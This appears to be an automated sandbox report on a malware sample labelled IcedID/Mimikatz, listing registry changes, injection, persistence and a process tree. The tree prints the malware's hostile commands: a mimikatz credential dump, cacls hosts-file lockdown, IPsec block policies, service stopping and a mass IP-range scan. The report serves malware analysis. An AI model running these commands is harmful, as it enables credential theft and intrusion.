Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bgzdci.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lgkfgfrve.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nmlkkib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2188	cmd.exe
1116	PING.EXE

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x0008000000023c62-6.dat	nsis_installer_2
behavioral2/files/0x0008000000023c7f-15.dat	nsis_installer_1
behavioral2/files/0x0008000000023c7f-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 43 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	ennsehtzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ennsehtzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ennsehtzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ennsehtzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ennsehtzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ennsehtzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	nmlkkib.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ennsehtzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	nmlkkib.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ennsehtzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ennsehtzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ennsehtzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ennsehtzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ennsehtzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ennsehtzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ennsehtzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ennsehtzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	nmlkkib.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	nmlkkib.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ennsehtzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ennsehtzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ennsehtzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	nmlkkib.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	ennsehtzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ennsehtzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ennsehtzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ennsehtzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ennsehtzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ennsehtzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ennsehtzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ennsehtzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ennsehtzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ennsehtzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ennsehtzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ennsehtzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ennsehtzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	ennsehtzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ennsehtzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	nmlkkib.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ennsehtzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ennsehtzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ennsehtzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ennsehtzr.exe

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	nmlkkib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	nmlkkib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	nmlkkib.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1116	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3632	schtasks.exe
3320	schtasks.exe
396	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found
648	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
436	2024-11-14_9aa307bf17ed00c9228c8e34433ed6b0_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	436	2024-11-14_9aa307bf17ed00c9228c8e34433ed6b0_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	5088	nmlkkib.exe
Token: SeDebugPrivilege	3736	nmlkkib.exe
Token: SeDebugPrivilege	2136	vfshost.exe
Token: SeDebugPrivilege	5072	ennsehtzr.exe
Token: SeLockMemoryPrivilege	3696	tktgmq.exe
Token: SeLockMemoryPrivilege	3696	tktgmq.exe
Token: SeDebugPrivilege	4996	ennsehtzr.exe
Token: SeDebugPrivilege	3076	ennsehtzr.exe
Token: SeDebugPrivilege	444	ennsehtzr.exe
Token: SeDebugPrivilege	2532	ennsehtzr.exe
Token: SeDebugPrivilege	1968	ennsehtzr.exe
Token: SeDebugPrivilege	1144	ennsehtzr.exe
Token: SeDebugPrivilege	5076	ennsehtzr.exe
Token: SeDebugPrivilege	2872	ennsehtzr.exe
Token: SeDebugPrivilege	3324	ennsehtzr.exe
Token: SeDebugPrivilege	4372	ennsehtzr.exe
Token: SeDebugPrivilege	5088	ennsehtzr.exe
Token: SeDebugPrivilege	4204	ennsehtzr.exe
Token: SeDebugPrivilege	632	ennsehtzr.exe
Token: SeDebugPrivilege	2424	ennsehtzr.exe
Token: SeDebugPrivilege	2192	ennsehtzr.exe
Token: SeDebugPrivilege	4492	ennsehtzr.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
436	2024-11-14_9aa307bf17ed00c9228c8e34433ed6b0_hacktools_icedid_mimikatz.exe
436	2024-11-14_9aa307bf17ed00c9228c8e34433ed6b0_hacktools_icedid_mimikatz.exe
5088	nmlkkib.exe
5088	nmlkkib.exe
3736	nmlkkib.exe
3736	nmlkkib.exe
4932	xohudmc.exe
2464	bgzdci.exe
4720	nmlkkib.exe
4720	nmlkkib.exe
4316	nmlkkib.exe
4316	nmlkkib.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 436 wrote to memory of 2188	436	2024-11-14_9aa307bf17ed00c9228c8e34433ed6b0_hacktools_icedid_mimikatz.exe	83
PID 436 wrote to memory of 2188	436	2024-11-14_9aa307bf17ed00c9228c8e34433ed6b0_hacktools_icedid_mimikatz.exe	83
PID 436 wrote to memory of 2188	436	2024-11-14_9aa307bf17ed00c9228c8e34433ed6b0_hacktools_icedid_mimikatz.exe	83
PID 2188 wrote to memory of 1116	2188	cmd.exe	85
PID 2188 wrote to memory of 1116	2188	cmd.exe	85
PID 2188 wrote to memory of 1116	2188	cmd.exe	85
PID 2188 wrote to memory of 5088	2188	cmd.exe	97
PID 2188 wrote to memory of 5088	2188	cmd.exe	97
PID 2188 wrote to memory of 5088	2188	cmd.exe	97
PID 3736 wrote to memory of 3564	3736	nmlkkib.exe	99
PID 3736 wrote to memory of 3564	3736	nmlkkib.exe	99
PID 3736 wrote to memory of 3564	3736	nmlkkib.exe	99
PID 3564 wrote to memory of 4036	3564	cmd.exe	101
PID 3564 wrote to memory of 4036	3564	cmd.exe	101
PID 3564 wrote to memory of 4036	3564	cmd.exe	101
PID 3564 wrote to memory of 3796	3564	cmd.exe	102
PID 3564 wrote to memory of 3796	3564	cmd.exe	102
PID 3564 wrote to memory of 3796	3564	cmd.exe	102
PID 3564 wrote to memory of 1028	3564	cmd.exe	103
PID 3564 wrote to memory of 1028	3564	cmd.exe	103
PID 3564 wrote to memory of 1028	3564	cmd.exe	103
PID 3564 wrote to memory of 2680	3564	cmd.exe	104
PID 3564 wrote to memory of 2680	3564	cmd.exe	104
PID 3564 wrote to memory of 2680	3564	cmd.exe	104
PID 3564 wrote to memory of 4728	3564	cmd.exe	106
PID 3564 wrote to memory of 4728	3564	cmd.exe	106
PID 3564 wrote to memory of 4728	3564	cmd.exe	106
PID 3564 wrote to memory of 4688	3564	cmd.exe	107
PID 3564 wrote to memory of 4688	3564	cmd.exe	107
PID 3564 wrote to memory of 4688	3564	cmd.exe	107
PID 3736 wrote to memory of 1016	3736	nmlkkib.exe	114
PID 3736 wrote to memory of 1016	3736	nmlkkib.exe	114
PID 3736 wrote to memory of 1016	3736	nmlkkib.exe	114
PID 3736 wrote to memory of 4892	3736	nmlkkib.exe	116
PID 3736 wrote to memory of 4892	3736	nmlkkib.exe	116
PID 3736 wrote to memory of 4892	3736	nmlkkib.exe	116
PID 3736 wrote to memory of 2932	3736	nmlkkib.exe	118
PID 3736 wrote to memory of 2932	3736	nmlkkib.exe	118
PID 3736 wrote to memory of 2932	3736	nmlkkib.exe	118
PID 3736 wrote to memory of 3032	3736	nmlkkib.exe	123
PID 3736 wrote to memory of 3032	3736	nmlkkib.exe	123
PID 3736 wrote to memory of 3032	3736	nmlkkib.exe	123
PID 3032 wrote to memory of 1644	3032	cmd.exe	125
PID 3032 wrote to memory of 1644	3032	cmd.exe	125
PID 3032 wrote to memory of 1644	3032	cmd.exe	125
PID 1644 wrote to memory of 4448	1644	wpcap.exe	126
PID 1644 wrote to memory of 4448	1644	wpcap.exe	126
PID 1644 wrote to memory of 4448	1644	wpcap.exe	126
PID 4448 wrote to memory of 540	4448	net.exe	128
PID 4448 wrote to memory of 540	4448	net.exe	128
PID 4448 wrote to memory of 540	4448	net.exe	128
PID 1644 wrote to memory of 2832	1644	wpcap.exe	129
PID 1644 wrote to memory of 2832	1644	wpcap.exe	129
PID 1644 wrote to memory of 2832	1644	wpcap.exe	129
PID 2832 wrote to memory of 3516	2832	net.exe	131
PID 2832 wrote to memory of 3516	2832	net.exe	131
PID 2832 wrote to memory of 3516	2832	net.exe	131
PID 1644 wrote to memory of 5088	1644	wpcap.exe	132
PID 1644 wrote to memory of 5088	1644	wpcap.exe	132
PID 1644 wrote to memory of 5088	1644	wpcap.exe	132
PID 5088 wrote to memory of 4212	5088	net.exe	134
PID 5088 wrote to memory of 4212	5088	net.exe	134
PID 5088 wrote to memory of 4212	5088	net.exe	134
PID 1644 wrote to memory of 3564	1644	wpcap.exe	135

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2060
- C:\Windows\TEMP\zzuiitsrt\tktgmq.exe
  "C:\Windows\TEMP\zzuiitsrt\tktgmq.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3696

C:\Users\Admin\AppData\Local\Temp\2024-11-14_9aa307bf17ed00c9228c8e34433ed6b0_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-11-14_9aa307bf17ed00c9228c8e34433ed6b0_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:436
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\mnvzbkud\nmlkkib.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2188
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1116
- - C:\Windows\mnvzbkud\nmlkkib.exe
    C:\Windows\mnvzbkud\nmlkkib.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:5088

C:\Windows\mnvzbkud\nmlkkib.exe
C:\Windows\mnvzbkud\nmlkkib.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3736
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3564
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4036
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3796
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1028
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2680
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4728
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4688
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1016
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4892
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2932
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\tsjtbfmcn\vifklhuyf\wpcap.exe /S
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3032
- - C:\Windows\tsjtbfmcn\vifklhuyf\wpcap.exe
    C:\Windows\tsjtbfmcn\vifklhuyf\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1644
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4448
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:540
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2832
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        
        PID:3516
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5088
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4212
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:3564
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3076
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3052
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:1304
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:1956
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:3428
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:2204
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:4492
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\tsjtbfmcn\vifklhuyf\jbftscrnu.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\tsjtbfmcn\vifklhuyf\Scant.txt
  2⤵
  PID:3296
- - C:\Windows\tsjtbfmcn\vifklhuyf\jbftscrnu.exe
    C:\Windows\tsjtbfmcn\vifklhuyf\jbftscrnu.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\tsjtbfmcn\vifklhuyf\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4796
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\tsjtbfmcn\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\tsjtbfmcn\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:4932
- - C:\Windows\tsjtbfmcn\Corporate\vfshost.exe
    C:\Windows\tsjtbfmcn\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2136
